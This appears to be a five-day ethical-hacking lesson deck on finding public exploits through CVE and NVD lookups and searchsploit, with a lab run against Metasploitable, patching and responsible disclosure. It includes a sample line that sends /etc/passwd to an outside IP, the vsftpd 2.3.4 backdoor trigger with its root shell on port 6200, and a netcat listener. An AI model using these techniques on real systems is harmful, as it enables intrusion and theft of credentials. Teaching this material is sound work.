Finding & Using Public Exploits

Unit 13 — Module 3: Exploitation

From "what version is it running?" to "here's a known exploit for it" — and how to use that exploit **safely and responsibly**.

Curriculum by AJ Hammond — PNPT, CRTO, OSCP, BSCP

Where we are in the course

- **Units 8–9:** you learned to **scan and enumerate** — to find what software and **versions** a target runs.
- **Units 10–12:** you exploited bugs you understood deeply (web injection, SQLi).
- **This unit** is the bridge: once you know *what a target runs*, how do you find a **known, public exploit** for it?

> You can't protect what you don't understand — and you can't safely use what you haven't read.

Learning objectives

By the end of this unit you can:

- **Trace** the workflow: enumerate → service/version → known vulnerability → matching exploit.
- **Explain** a **CVE** and look one up on **NVD**.
- **Use** `searchsploit` to find an exploit matching a service + version.
- **Read** an exploit and spot anything dangerous before running it.
- **Match** and **lightly adapt** an exploit (IP, port, parameter).
- **Run** it against the **isolated lab** and document CVE → exploit → result.
- **Recommend** patching as the primary defense.

Vocabulary (1 of 2)

Term	Meaning
Exploit	Code/steps that abuse a vulnerability to make software misbehave.
Public exploit	An exploit anyone can find and download, often after disclosure.
Proof of concept (PoC)	Code that *proves* a bug is real — sometimes rough or risky.
Vulnerability	A weakness in software/system that can be abused.
CVE	A unique ID for one known vulnerability (e.g., `CVE-2017-0144`).
NVD	National Vulnerability Database — gov details + scores for CVEs.
CVSS	A 0–10 score showing how severe a vulnerability is.

Vocabulary (2 of 2)

Term	Meaning
Exploit-DB	A large public archive of exploits and PoCs, run by OffSec.
searchsploit	A CLI tool to search a *local* copy of Exploit-DB.
Service & version	The software (`vsftpd`) and its version (`2.3.4`) on a port.
Banner	Text a service reveals about itself — often its version.
Fixing/adapting	Editing an exploit (IP, port, parameter) to fit your target.
Payload	The part that achieves the goal (e.g., opens a shell).
Shell	Command-line access to a target — often the "win."
Patching	Installing the update that removes the bug — the main defense.

Why this unit matters

- Most real intrusions don't use a brand-new "0-day."
- They reuse a **known** bug in **old, unpatched** software.
- Attackers and defenders shop from the **same public shelf** of exploits.

> Whoever acts on the version number first — attacker or defender — wins.

An analogy: a known broken lock

- A locksmith publishes: "Model X-200 locks pop open with a paperclip."
- A burglar reads it and tries it on old locks.
- A **smart owner** reads the same notice and **replaces the lock**.

> The CVE/exploit world is that public notice — for software.

⚖️ Read this before anything else

The ethics & legal line

Two dangers unique to this unit

1. **Downloading** an exploit is legal. **Running** it against a system you don't own or have **written permission** to test is a **crime** under the CFAA and state law — even if it's "just a PoC," even if you "only wanted to see."
2. Random PoC code can be **booby-trapped** to attack *you*, or can **crash** the target. On a real system that could take down a hospital, a school, or a business.

> So: run exploits **only** against the isolated lab (Metasploitable) or **authorized** TryHackMe rooms — and **only after you've read the code.**

Discussion: where's the line?

You find a public exploit for a CVE in software your school district uses, and you're "pretty sure" it's vulnerable.

- Walk through the **responsible path** step by step.
- Where exactly is the **authorization** line?
- What would **responsible disclosure** look like instead of running it?

Day 1

From enumeration to known vulnerabilities (CVE & NVD)

Warm-up

Your scan from Unit 8 said a server runs `vsftpd 2.3.4`.
Now what? How do you find out if that's dangerous?

The workflow

```
1. Enumerate          (nmap -sV)
2. Identify service + VERSION
3. Look up known vulnerabilities   (CVE / NVD)
4. Find a matching exploit         (Exploit-DB / searchsploit)
5. READ it, match it, run it (in the lab)
6. Recommend the DEFENSE            (patch)
```

The **version number** is the key that unlocks the whole search.

What is a CVE?

- **CVE** = **C**ommon **V**ulnerabilities and **E**xposures.
- A **unique ID** for one known, publicly disclosed vulnerability.
- Format: `CVE-YEAR-NUMBER`, e.g., `CVE-2011-2523`.
- Vendors, researchers, and defenders all use the same ID for the same bug.

> A CVE is like a license plate for a vulnerability: one ID, one bug, agreed on by everyone.

Why one shared ID helps everyone

- A vendor's advisory, a news article, and a scanner all say `CVE-2011-2523`.
- You know they mean the **exact same** bug — no confusion.
- You can search any database by that ID and land on the same vulnerability.

> Before CVEs, the same bug had five different names. The ID ended the chaos.

What is the NVD?

- **NVD** = **N**ational **V**ulnerability **D**atabase (`nvd.nist.gov`).
- The U.S. government database that **details and scores** CVEs.
- For each CVE: a description, affected products/versions, references, and a **CVSS** score.

> You search NVD by **product + version** to find the CVE(s) that affect it.

What is CVSS?

A **0–10 severity score** for a vulnerability.

Score	Rough meaning
0.0	None
0.1–3.9	Low
4.0–6.9	Medium
7.0–8.9	High
9.0–10.0	Critical

> CVSS tells you *how bad* — it helps defenders decide what to patch first.

Check your understanding

A scan reports `Apache httpd 2.4.49`.
What is the **single most useful** piece of that line for finding an exploit, and why?

Answer

- The piece that matters most is the **version**: `2.4.49`.
- "Apache" alone is too broad — millions run Apache safely.
- The **exact version** is the search key into CVE/NVD/Exploit-DB.

> Software name narrows it; the **version number** unlocks it.

Guided practice — look up `vsftpd 2.3.4`

As a class, on **nvd.nist.gov**:

1. Search for `vsftpd 2.3.4`.
2. Open the matching CVE.
3. Read the **description** and **CVSS** score together.

You'll land on `CVE-2011-2523` — a backdoor was added to the vsftpd 2.3.4 source code. High severity.

Your turn (journal)

In your lab journal, look up **one** CVE on NVD and record:

- the **CVE ID**,
- a **one-line** description,
- its **CVSS** score.

Day 1 exit ticket

What piece of information from a scan is **most useful** for finding a matching exploit, and **why**?

Day 2

Exploit-DB and searchsploit

Warm-up

We know the CVE. **Where do we get actual exploit code?**

Exploit-DB

- A large **public archive** of exploits and PoCs, run by **OffSec**.
- Website: `exploit-db.com`.
- Entries include the code, the target software/version, the type, and often a CVE reference.
- Some are **polished exploits**; others are rough **PoCs** that just prove the bug exists.

searchsploit

- A command-line tool that searches a **local copy** of Exploit-DB.
- Ships with Kali (the `exploitdb` package). Works **offline** once updated.

```
searchsploit -u
```

> "Local copy" means you can search without hitting the website — faster, and available in an isolated lab.

Searching with searchsploit

```
searchsploit vsftpd 2.3.4
```

Reads like a table:

Column	What it tells you
Title	What it targets + the type (e.g., "Metasploit")
Path	Where the exploit file lives locally

> Search by **product and version** — the same key from Day 1.

What the output looks like

```
------------------------------------ ----------------------
 Exploit Title                       Path
------------------------------------ ----------------------
 vsftpd 2.3.4 - Backdoor Command     unix/remote/49757.py
   Execution
 vsftpd 2.3.4 - Backdoor Command     unix/remote/17491.rb
   Execution (Metasploit)
------------------------------------ ----------------------
```

- Two hits: a **Python** PoC and a **Metasploit** module.

Reading that result

- **Title** says the target (`vsftpd 2.3.4`) and the effect (`Backdoor Command Execution`).
- **Path** ends in `.py` (Python) or `.rb` (Ruby / Metasploit).
- `unix/remote` = a remote attack against a Unix-like target.

> The path's file type tells you what language you'll be reading next.

Viewing and copying an exploit

```
searchsploit -x <path-shown>    # view the exploit (read it!)
searchsploit -m <path-shown>    # mirror (copy) it to your folder
```

- `-x` opens it so you can **read** it (tomorrow's whole point).
- `-m` copies it locally so you can edit it.

Polished exploit vs. rough PoC

	Polished exploit	Rough PoC
Goal	Reliably do the attack	Just *prove* the bug is real
Comments	Often documented	May be sparse
Trust	Still read it!	**Definitely** read it

> Neither earns blind trust. Both get read before they run.

Check your understanding

> Your `searchsploit` search returns five results, but only one mentions your exact version and platform.

What **two** things should you confirm before trusting any of them?

Answer

- The **service/version** matches your target exactly (or is compatible).
- The **platform/OS** matches (Linux vs. Windows).

> A close-sounding title is not a match. Confirm version **and** platform.

Guided practice — map it back

Live demo:

```
searchsploit vsftpd 2.3.4
```

- Open the matching entry.
- Map the result back to `CVE-2011-2523` from Day 1.

You'll see something like *"vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)"* plus standalone PoCs.

Your turn (lab start)

1. **Read the Safety & authorization reminder aloud** (from `lab.md`).
2. Re-confirm a service/version on **Metasploitable** (from earlier units):

```
nmap -sV <target-IP>
```

3. Use `searchsploit` to find a matching exploit. Record candidates in the **CVE→exploit worksheet**: title, language/type, platform.

Day 2 exit ticket

Name **two** things you check to decide whether an exploit **matches** your target.

Day 3

Read before you run

Warm-up

Why would it be a **terrible idea** to download a random exploit and just run it?

The most important habit in this unit

READ the code before you run it.

This is **both**:

- **Safety** — the code could attack *your* machine or do something destructive.
- **Professionalism** — you must understand what you're doing to a target.

> Never run untrusted code blindly. Not once. Not "just to see."

What to look for, line by line

- **Language/type:** Python? Ruby? C? A Metasploit module? Manual steps?
- **Target:** what service/version/platform does it claim to hit?
- **Connection:** which line holds the target **IP** and **port**?
- **Payload:** what does it actually do — open a shell? add a user?
- **Comments:** does the author explain it?
- **Red flags:** deletes files? **phones home** to an unknown server? code you can't explain?

Red flags = stop

If the code does anything you **can't explain**, or that looks destructive or sneaky:

- **Do not run it.**
- **Flag it** for your instructor.

> Catching suspicious code is a *win*, not a failure. That's exactly the skill professionals are paid for.

A red flag, up close

Imagine you find this buried in a "PoC":

```
import urllib.request
urllib.request.urlopen("http://198.51.100.9/c?d=" + open("/etc/passwd").read())
```

- It reads your **own** files and ships them to a stranger's server.
- That has nothing to do with the target. **Stop. Flag it.**

Why a "PoC" might attack you

- Anyone can upload code to the internet — including bad actors.
- "Just run it to see" is exactly the trap they're counting on.
- The exploit may target the **operator** (you), not the listed victim.

> The author is a stranger. Read every line before you trust them.

Guided practice — annotate together

As a class, take the chosen exploit and:

1. Walk it line by line with the **read-before-you-run checklist**.
2. Identify the exact lines you'd need to **change** for your target (IP, port, parameter).

Worked example — the vsftpd 2.3.4 backdoor

- **Mechanism:** send a username ending in `:)` to the FTP service — that triggers a hidden backdoor.
- The backdoor opens a **root shell** on TCP port **6200**.
- The "payload" is the backdoor itself — *not* student-supplied code.
- The standard PoC has **no destructive code** — but you still verify and say so.

> A clean version → CVE → exploit → shell story.

Where this backdoor came from

- In 2011, attackers briefly slipped malicious code into vsftpd's source.
- Anyone who downloaded that copy got a hidden **root backdoor**.
- It's a real-world lesson in **supply-chain** risk — and why you read code.

> The backdoor wasn't a normal bug; someone *planted* it. The CVE documents it.

Check your understanding

Before running an exploit, name **three** things you must understand about it.

Answer (any three)

- What it **targets** (service, version, platform).
- What the **payload** does (shell? add a user?).
- **Where** the IP / port / parameters live.
- Whether **anything is destructive** or phones home.

> If you can't answer these, you are not ready to run it.

Your turn (journal checklist)

Open your candidate exploit and complete the checklist:

- What does it **target**?
- How does it **work** (mechanism)?
- **Where** are the IP / port / parameters?
- **Verdict:** safe to run in the isolated lab? **Why?**

> Do not proceed to Day 4 until your checklist is complete.

Day 3 exit ticket

List **three** things you must understand about an exploit before running it.

Day 4

Adapt (lightly fix) and run it in the lab

Warm-up

The exploit hard-codes an IP that isn't your target. **Now what?**

"Lightly fixing" an exploit

Editing only what's needed to point an **understood** exploit at your **authorized** lab target:

- Change the hard-coded **target IP** to your Metasploitable IP.
- Change the **port** if it differs from your scan.
- Set any required **parameter**.
- If it returns a **reverse shell**, start a listener first:

```
nc -lvnp <port>      # -l listen · -v verbose · -n no DNS · -p port
```

Keep it **light**: IP, port, a parameter. Full exploit development is a different course.

Guided practice — edit and run together

1. Edit the exploit as a class: set the **IP** (and port if needed).
2. Run it against **Metasploitable** as a paced demo.
3. Confirm access:

```
whoami
id
hostname
```

For the vsftpd backdoor, a **root shell** opens on port 6200 — `whoami` returns `root`, `id` shows `uid=0`.

What success looks like

After running the adapted exploit, you should see:

```
$ whoami
root
$ id
uid=0(root) gid=0(root) groups=0(root)
```

- `uid=0` is the proof: you are **root**.
- Screenshot this — it's your evidence of access.

Match, or it "won't work"

The #1 reason a beginner says "exploits don't work" is a **mismatch**:

Check	Question
Service	Same software?
Version	Same/compatible version?
Platform	Linux vs. Windows?
Architecture	x86 vs. x64 (if it matters)?

A Windows exploit will not run against your Linux target. That's a matching problem, not a broken exploit.

Your turn (lab)

1. **Adapt** your matched, understood exploit for the isolated lab target.
2. **Run** it against the lab **only**.
3. **Capture** proof of access (`whoami`, `id`).
4. **Note** exactly which lines you changed and what each does.

Check your understanding

You run a Windows exploit against your Linux Metasploitable box and it fails immediately.

Is the exploit **broken**? What's actually wrong?

Answer

- The exploit is probably **fine** — it just doesn't **match**.
- A Windows exploit cannot work against a Linux target.
- This is a **matching** problem (platform/OS), not a broken tool.

> "It doesn't work" usually means "I picked the wrong target match."

Day 4 exit ticket

Which line(s) did you **change** to make the exploit hit your target, and what did **each change** do?

Day 5

The defense (patching) + document it

Warm-up

You just owned a box because of an **old version**.
How would a defender have stopped you?

The defense is patching

- Every CVE has a **fix** — usually a newer, **patched version**.
- **Patching/updating** removes the vulnerable code, so the exploit has nothing to hit.
- It's boring. It's also the single most powerful defense in this unit.

> Old, unpatched, **end-of-life** software is the easiest target there is.

Patch management & end-of-life

- **Patch management:** the ongoing process of tracking and applying updates.
- **End-of-life (EOL):** software the vendor no longer updates — it will **never** get a fix.
- Defenders inventory their software and replace EOL versions before attackers find them.

Vulnerable version	Fixed by
vsftpd **2.3.4** (backdoored)	Upgrade to a clean vsftpd build

Why old software is the easy target

- A known CVE means the exploit is already **written and public**.
- Unpatched software is a door that's been **left open on purpose**.
- End-of-life software will **never** get a fix — the door stays open forever.

> Attackers scan the whole internet for old versions. Patching closes the door.

Check your understanding

You rooted a box because it ran an old, vulnerable service.
Name the **primary defense** that would have stopped you, and why it works.

Answer

- **Patching / upgrading** to the fixed version.
- It **removes the vulnerable code**, so the exploit has nothing to hit.
- Bonus: retire **end-of-life** software that can't be patched.

> No vulnerable version → no matching exploit → no shell.

Responsible disclosure (the ethical alternative)

If you find a real vulnerability:

- **Don't** weaponize it or run it against systems you don't own.
- **Do** report it privately to the owner through proper channels.
- Some organizations even **pay** for this (bug bounty).

> Report, don't exploit. That habit defines a professional.

Document it: CVE → exploit → result

Write a clean finding a defender could act on:

- vulnerable **service/version**
- **CVE** + **CVSS**
- the **exploit** used (title/source)
- exactly **which lines you changed**
- **evidence** of access (labeled screenshots)
- **impact** (e.g., remote root shell)
- **remediation** = patch to the fixed version + defense in depth

> A finding without a remediation is **incomplete**. Attacks are always paired with defenses.

Finding rubric (abbreviated)

Criteria	Exemplary (4)
Vulnerability ID	Service/version, CVE, CVSS all correct & justified
Exploit understanding	Explains how it works + each edited line
Evidence	Reproducible; screenshots labeled
Remediation	Specific fixed version + defense in depth
Communication & ethics	Polished; authorization/scope stated

Day 5 exit ticket

Submit the finding draft, plus one sentence:

> "The riskiest thing about using public exploits is ___."

🚀 Lab walk-through (Days 2–5)

Platform: `searchsploit` / Exploit-DB on **Kali** vs. **Metasploitable 2** (or an authorized **TryHackMe** CVE room). Confirm the lab is fully **isolated** first.

1. Re-confirm a service + version (`nmap -sV`).
2. Look it up by **CVE** on **NVD**; record the **CVSS** score.
3. Find a matching exploit with `searchsploit`.
4. **Read** it (complete the checklist), **match**, **adapt** (IP/port).
5. **Run** it on the lab box; capture `whoami` / `id`.
6. Find the **patch**; write the **CVE → exploit → result** finding.

Recap — the workflow

```
enumerate → identify version → look up CVE (NVD) →
find matching exploit (searchsploit/Exploit-DB) →
READ it → match it → lightly adapt → run (lab only) →
recommend the PATCH
```

- The **version** is the key.
- **Read before you run** is the soul of the unit.
- Every attack is paired with a **defense** — here, **patching**.

Stretch goals

- Run a **second** CVE/exploit end-to-end on a different service.
- Compare a raw Exploit-DB script vs. the matching **Metasploit module**.
- Research the actual **code change** in the patch that fixed your CVE.
- Draft a **responsible-disclosure** email for a hypothetical finding.

Exit ticket & discussion

Exit ticket: List three things you must understand about an exploit *before* running it.

Discussion: You find a public exploit for a CVE affecting software your school district uses, and you're "pretty sure" it's vulnerable. Walk the responsible path. Where is the authorization line? What does **responsible disclosure** look like instead?